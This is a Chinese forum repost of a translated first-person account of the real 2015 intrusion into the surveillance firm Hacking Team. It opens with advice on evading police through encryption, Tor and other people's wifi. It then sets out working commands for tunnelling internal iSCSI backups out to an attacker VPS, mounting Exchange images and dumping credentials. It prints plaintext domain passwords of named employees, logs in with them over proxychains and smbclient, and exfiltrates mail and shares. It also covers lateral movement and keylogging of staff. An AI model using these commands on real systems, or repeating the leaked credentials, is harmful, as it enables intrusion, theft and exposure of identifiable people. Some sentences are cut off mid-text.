【老文】渗透Hacking Team过程

hades / 2018-03-13 10:52:16 / 浏览数 3796 渗透测试 渗透测试 顶(0) 踩(0)

翻译：range
原文地址：https://ghostbin.com/paste/6kho7?luicode=10000359

0x00 Hacking Team

Hacking Team
是一个协助政府hack和监视记者、政治家等的公司（详见段尾链接），当然有时候也会监控恐怖分子和罪犯。其CEO——Vincenzetti——很喜欢在他的邮件末尾加上一句纳
chi molla" (放弃者该死)，同时，他一直宣称拥有可以解决"Tor 问题"和"暗网问题"的技术。但是我一直很怀疑他的那种技术的有效性。

0x01 小心点

很不幸，我们的世界是颠倒的，你越做坏事越富有，越做好事反而被抓。但幸运的是，多亏了人们的努力，比如"Tor项目"，你可以通过以下指导来防止被人抓住把柄：

1) 加密的你的硬盘

如果有一天你做的事被发现了，警察叔叔带走了你的电脑，尽管被发现就意味着你已经犯了很多错误，但是加密硬盘会比不加密要好得多。

2) 使用虚拟机并且把所有的网络都走Tor

这样就实现了两点，第一、你的所有流量都匿名了。第二、把你的个人生活和匿名操作分开了，防止两种生活互相混合。

3) 不要直接连接Tor网络 (可选项)

Tor不是万能药，有可能你在连接到Tor网络的时候刚好在做坏事。也可能你在退出Tor网络的时候你同样在做坏事。最好还是用别人的wifi，或者连接vpn或者中转机子，

0x02 搜集信息

尽管这个过程非常无聊，但却是非常重要，目标越大越多，漏洞出现的几率就越大。

1 技术方面的信息

主要使用以下各种方面的信息

1)Google

如果使用合适的语句，你可以发现大量的意外收获。

2)二级域名搜集

一般来说，域名大部分都是又第三方公司提供的，你需要寻找到其域名的IP范围。当然，有时候会存在DNS域传送漏洞，这样就更好搜集信息了。

3)Whois查询和反向查询

通过各种Whois查询和其ip范围的域名反向查询，你也可以获得很多其他子域名，据我所知，没有免费的反向查询，除非谷歌hack。

4)端口扫描和指纹提取

和其他的技术不同，你可以跟公司的员工聊天。我把它作为可选项放在这里因为它不是一种攻击方式，只是搜集信息的一种方式。在扫描的过程中，该业务的入侵检测系

对于扫描来说，Nmap是再合适不过了，它也可以识别各种服务的指纹。但是对于大规模网络来说，zmap和masscan更快速。WhatWeb和BlindElephant
适合抓取web指纹。

2 社工信息

对于社会工程学来说，搜集员工信息非常重要，包括他们的各自的角色，合约，使用的操作系统，浏览器，插件，软件等。一般使用如下途径：

1)Google

这也是最有用的工具。

2)theHarvester y recon-ng

我在上一个内容中就提到了这些东西，但是他们其实还有更多的用处。你可以自动快速地找到大量的信息，这也值得你去花时间阅读官方文档。

3)LinkedIn

你可以通过这个软件获取到大量的雇员信息，内部人员总是倾向于与他人交流。

4)Data.com

它就像拼图一样把各种信息整合在一起。

5)File metadata

你可以在他们公司发布的各种文档中找到大量有用的信息。

0x03 打入内网

进入内网的方式有很多种。我打入HT内网的方式是不常见的，而且比平时花的精力要多得多，所以我在这里提一下进入内网的两种常见的方式，这两种也是我推荐的。

1 社工

社会工程学，尤其是鱼叉式网络钓鱼，是各种渗透技巧中比较可靠的一种。更多技巧请移步段尾链接。我不想尝试对HT进行钓鱼攻击，因为这种攻击方式对他们来说太常见
http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf

2 购买权限

多亏了勤劳的俄罗斯人和他们的渗透工具 “traffic sellers”和“bot
herders”，许多公司都已经有了被入侵的电脑。几乎所有世界五百强的大型网络中都存在一些被入侵的机器。但是Hacking
Team是个小公司，他们的大多数员工都是信息安全专家，所以他们内部存在被入侵机器的可能性非常小。

3 技术入侵

Gamma公司被黑以后，我就已经描述了一个寻找漏洞的过程：

```
http://pastebin.com/raw.php?i=cRYvK4jb
```

Hacking Team有一个段的公网IP:

```
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet
```

他们的网络有少量暴露在外网，比如不像Gamma公司，他们的公网地址都需要证书才能连接。HT的公网服务器主要有一个Joomla的博客(joomscan没有扫出来有用的东西

0x04 事前准备

在正式攻击之前，我做了很多测试和准备，在硬件里面写入了一个后门，并且在嵌入式系统上编译了各种各样的工具：

1) busybox

这个工具大多数的Unix系机器都没有。

2)nmap

扫描工具

3)Responder.py

内网中间人攻击神器

4)python

这个必须得有

5)tcpdump

抓包

6)dsniff

在内网中嗅探各种密码之类的，我更喜欢用HT的ettercap，但是编译起来很麻烦。

7)socat

NC的升级版，主要端口转发

8)screen

可以让你多窗口执行命令，其实也不是太需要

9)socks5代理主机

加上proxychains，插入内网

10)tgcd

通过转发端口，穿透防火墙

最坑的事儿就是你把后门和工具部署上去之后，系统挂了，然后运维上去一看，全完了。所以我花了一周的时间在最后的部署之前测试我的各种后门和exp。

0x05 到处看看

现在我已经进入内网了，我想看到处看一下，并决定我下一步的工作。把Responder.py切换到分析模式(`-A`),然后用Nmap慢慢的扫着先。

0x06 非关系型数据库

NoSQL，这种无需认证的数据库对我来说简直就是天赐良机。当我还在担心无法通过MySQL继续下去的时候，这些缺乏认证的数据库出现了。Nmap发现了HT内网的一些数

```
27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5
```

这些是做RCS测试的实例。RCS抓到的音频都存储在MongoDB里面。400G种子里面的音频就是来自这里，他们也在监视着自己。

0x07 跨网段

比较有趣的是，看着监视器中正在开发恶意软件的HT，尽管这对我的渗透来说并没有什么用。他们不安全的备份系统是下一个敞开的大门。根据他们自己的文档，他们的iSC

```
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required
```

iSCS需要一个核心模块，这个核心模块在我的嵌入式系统中很难编译。所以我准备把端口转发出来以便于能够在VPS上挂载。

```
VPS: tgcd -L -p 3260 -q 42838
Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
```

iSCSI发现了`iqn.2000-01.com.synology`，但是在挂载的时候出现了一些问题，它的地址同时是`192.168.200.72`和`127.0.0.1`。

解决办法是：

```
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
```

然后：

```
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
```

至此，文件系统现身了！挂载上去：

```
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
```

然后就可以发现若干个虚拟机的安全备份了，邮件服务器看起来很有吸引力。尽管他太大了，还是可以远程挂载上来，搜索我们想要的东西：

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

entonces el offset es 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
```

现在，在/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311 我们可以发现虚拟机的硬盘，然后 就可以挂载上去了：

```
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
```

最后，我们就可以在/mnt/part1看到所有老的邮件交换服务器上的东西了。

0x08 从安全备份到域管理员

.其实我最感兴趣的还是想在安全备份文件里面找到一些常用的密码或者hash以便于进入物理机。我使用pwdump, cachedump
和lsadump去寻找可能的密码，最后lsdadump发现了一个bes管理服务器的账户的密码:

```
_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
```

我通过proxychains加上嵌入式机器上的socks代理，和smb客户端去尝试这个密码：

```
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
```

成功了！密码仍然有效，而且是本地管理员。我用代理和metasploit的psexec__psh 来获取一个meterpreter
session。我在机器上抓取到了他的其他密码，包括域管理员的密码。

```
HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- look! the sysadmin!
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@###
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!
```

0x09 下载邮件

现在我有了域管理员密码，就可以进入到业务核心——邮件中了。之后做的每一步操作都有可能随身被发现，以防万一，先下载邮件，这里powershell起了很大的作用。我

```
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
```

这个语法去搜索邮件服务器并且下载新的邮件，问题是获得了"日期错误：day不能大于12"的结果，因为欧洲时间中月份通常在第一位，月份不能大于12,。看来微软的工程师

0x0a 下载档案

现在我已经是域管理了，我开始通过smb客户端和代理去下载各种资源：

```
proxychains smbclient '//192.168.1.230/FAE DiskStation' \ -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar
```

至此，所有的东西都被下载下来了。

0x0b windows域渗透简介

在与HT的故事结束之前，我想对windows内网渗透做一些简介。

1 横向移动(这种名词国内好像还没有对应的术语)

在这里，我跟大家对各种内网渗透的技术做一些回顾。远程执行的方式是需要密码或者本地管理员的hash的。目前为止，最常见的方法是在机器上以管理员权限用mimikatz
远程移动：

1)psexec

windows上这方面很有效的工具。你可以使用psexec，winexe，metasploit的psexec_psh，powershell
的invoke_psexec或者windows内建函数"sc"。对于metasploit的模块和powershell、pth-winexe，你只需要hash即可，无需密码。这是最通用的方法，但是也是最不
control manage"会显示在时间日志中。根据我的经验，没有人会在渗透的时候注意到这个细节，但是这个细节却对事件调查者有一定的帮助。

2)WMI

这是最隐蔽的方法。WMI服务在除了服务器的所有windows机器上都是开着的，服务器上的防火墙默认不会允许该服务通过。你可以使用wmiexec.py，pth-wmis，pow
的 invoke_wmi，或者windows上的内建wmic函数。所有的wmic只需要hash。

3)PSRemoting

该功能默认是关闭的，我也不推荐将其开启。但是如果系统管理员已经将其开启了，就非常方便了，特别是如果你用ps干所有的事都很容易，而且不会留下太多足迹。

4)GPO

如果以上所有的方法都被防火墙过滤了，而且你又是域管理，你就可以通过GPO给用户一个登录脚本，安装一个msi，执行一个定时任务或者就像我们看到的
Mauro Romeo 那样利用GPO开启了WMI服务并且关闭了该服务的防火墙过滤。

本地移动：

1) 盗取token

如果你在一台电脑上有管理权限，你就可以用其他用户的token去获取域资源。这方面主要有两个工具：incognito 和mimikatz token::*命令行。

2)MS14-068

你可以利用Kerberos 的一个bug去获取域管理tickets。

3)进程注入

任何一款远控都有进程注入的功能。比如meterpreter、pupy中的migrate命令，或者pwershell中的psinject命令。你可以注入到有你需要的token的进程中。

4)runas

这是一款非常有用的工具，因为它不需要管理员权限。他使用的windows命令，如果你没有gui你可以使用powershell。

2 维持权限

一旦你拥有了权限，首先想到的就是保持权限。权限保持一般只是对于HT这样目标是个人和政治活动者的混蛋来说是个挑战(看来作者跟HT有仇)。对于渗透一个公司来说，
http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
http://www.hexacorn.com/blog/category/autostart-persistence/ https://blog.netspi.com/tag/persistence/

3 内部侦查

之前最好的探测windows网络的工具是powerview。这款工具很值得你去阅读以下链接：

http://www.harmj0y.net/blog/tag/powerview/ http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
http://www.harmj0y.net/blog/redteaming/powerview-2-0/ http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
http://www.slideshare.net/harmj0y/i-have-the-powerview

当然，powershell也是很有效的工具，不过在2003和2000的机子上可没有powershell。你也可以像以前那样，用用"net view"这种命令，其他我喜欢的技巧主要有：

1)下载文件列表

通过一个域管理账户你可以用powerview下载网络中的所有文件的列表：

```
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
```

然后你就可以随心所欲选择你想要的文件来下载。

2)阅读邮件

我们已经知道，你可以用powershell下载邮件，而且它还有很多有用的信息。

3)查看门户站点

这是许多业务存储重要信息的地方。这个也可以用powershell下载下来。

5)监视员工

我的兴趣之一就是寻找系统管理员。监视Christian Pozzi（HT的一个管理员）给了我Nagios 服务器的权限以及"Rete Sviluppo"的权限。利用PowerSploit中的Get-Keystrokes 和 Get-TimedScreenshot、GPO等的组合，你可以监视任何一个员工，甚至是整个域。

0x0c 寻猎系统管理员

通过对他们内部的文档的阅读，我发现我缺少一个很重要的权限——"Rete Sviluppo"——一个存放RCS源码的孤立网络。系统管理员总是有所有的权限，所以我就搜索Mauro Romeo 和Christian Pozzi的电脑，看他们怎么管理Sviluppo网络，顺便看看有没有其他我感兴趣的系统。他们的电脑也是域成员，所以搞到他们的电脑权限很简单。Mauro Romeo的电脑没有开放任何端口，所以我打开了WMI的端口并执行了meterpreter。为了监控他们的键盘和屏幕，我使用很多metersploit的/gathre/模块。然后到处搜索感

0x0d 桥梁

Pozzi的加密卷中，有很多文本格式的密码。其中一些就是Nagios服务器的密码，为了方便监视，这个服务器有权限访问那个Sviluppo网络。我也就找到了一座进入孤立网络

0x0e 再次利用并重置密码

阅读邮件后，我看到了Daniele Milan有git机器的权限。我已经有了他的windows密码(mimikatz)，我在git机器上尝试了一下，成功了！而且可以sudo。为了拿到gitlab服务器和他们的推特账号，我利用

0x0f 总结

以上就是我对抗一个公司并且终止了他们侵犯人权的行为的过程。
这也是Hacking的魅力与不对称：一个人花100个小时，便可以对抗并逆转一个有着好几年历史价值数百万美元公司的命运。Hacking能够给予失败者战斗并赢回的机会。

Hacking参考通常意味着放弃：这只是一个小小的教训，做一个有道德的黑客，不要未经允许攻击他人的系统等等。我经常这样说，但是做起来却经常与之背道而驰。泄露文

HT视他们自己为意大利创新的一部分，但是在我看来，Vincenzetti和他的公司，他在警察中的密友，政府都是意大利法西斯主义的传统。谨以此文献给在迪亚兹阿曼多学校

上一篇：【老文】从反序列化漏洞到掌控帝国：... 下一篇：敏信审计系列之DWR开发框架
1. 0 条回复
   - 动动手指，沙发就是你的了！

目录